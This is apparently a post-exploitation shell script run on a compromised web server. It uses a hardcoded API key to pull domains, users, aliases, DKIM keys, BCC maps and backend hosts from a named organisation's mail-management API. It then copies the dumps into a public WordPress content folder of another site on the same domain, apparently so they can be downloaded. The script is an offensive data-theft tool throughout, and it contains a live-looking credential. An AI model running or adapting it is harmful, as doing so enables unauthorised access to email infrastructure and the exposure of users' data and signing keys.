K="ZEA4R2sEkegRafwLsLPyqnpVAz2EwNnOUb9HscWqZV6TaXejfScxXPOG5ubxzRIhfBfMTBhMWcE7HD95frJt7OXO1b4s8G59z8MqeuCxMP5CiJJpTkdCtsnrZmzsBsxj" H="Authorization: $K" B="https://mail-management.afd.de/api" echo "== DOMAINS" curl -s -m 20 -H "$H" "$B/v1/domains" -o /tmp/rc_domains.json -w "http=%{http_code} bytes=%{size_download}\n" python3 -c "import json;d=json.load(open('/tmp/rc_domains.json'));x=d.get('data',d);print('domains:',len(x) if isinstance(x,list) else x)" 2>&1 echo "== USERS" curl -s -m 30 -H "$H" "$B/v1/users" -o /tmp/rc_users.json -w "http=%{http_code} bytes=%{size_download}\n" python3 -c "import json;d=json.load(open('/tmp/rc_users.json'));x=d.get('data',d);print('users:',len(x) if isinstance(x,list) else list(d.keys()))" 2>&1 echo "== ALIASES" curl -s -m 30 -H "$H" "$B/v1/aliases" -o /tmp/rc_aliases.json -w "http=%{http_code} bytes=%{size_download}\n" python3 -c "import json;d=json.load(open('/tmp/rc_aliases.json'));x=d.get('data',d);print('aliases:',len(x) if isinstance(x,list) else list(d.keys()))" 2>&1 echo "== DKIM" curl -s -m 20 -H "$H" "$B/v1/dkim-keys" -o /tmp/rc_dkim.json -w "http=%{http_code} bytes=%{size_download}\n" python3 -c "import json;d=json.load(open('/tmp/rc_dkim.json'));x=d.get('data',d);print('dkim:',len(x) if isinstance(x,list) else list(d.keys()))" 2>&1 echo "== BCCMAPS" curl -s -m 20 -H "$H" "$B/v1/user-recipient-specific-bcc-maps" -o /tmp/rc_bcc.json -w "http=%{http_code} bytes=%{size_download}\n" python3 -c "import json;d=json.load(open('/tmp/rc_bcc.json'));x=d.get('data',d);print('bcc:',len(x) if isinstance(x,list) else list(d.keys()))" 2>&1 echo "== BACKEND HOSTS" curl -s -m 20 -H "$H" "$B/v1/backend-hosts" -o /tmp/rc_hosts.json -w "http=%{http_code} bytes=%{size_download}\n" head -c 400 /tmp/rc_hosts.json; echo echo "== WHOAMI" curl -s -m 15 -H "$H" "$B/v1/me" | head -c 200; echo echo "== SAVE-ARTIFACTS" mkdir -p /var/www/vhosts/wahlkampf.afd.de/htdocs/wp-content/rcepost cp /tmp/rc_*.json /var/www/vhosts/wahlkampf.afd.de/htdocs/wp-content/rcepost/ 2>&1 ls -la /var/www/vhosts/wahlkampf.afd.de/htdocs/wp-content/rcepost/ 2>&1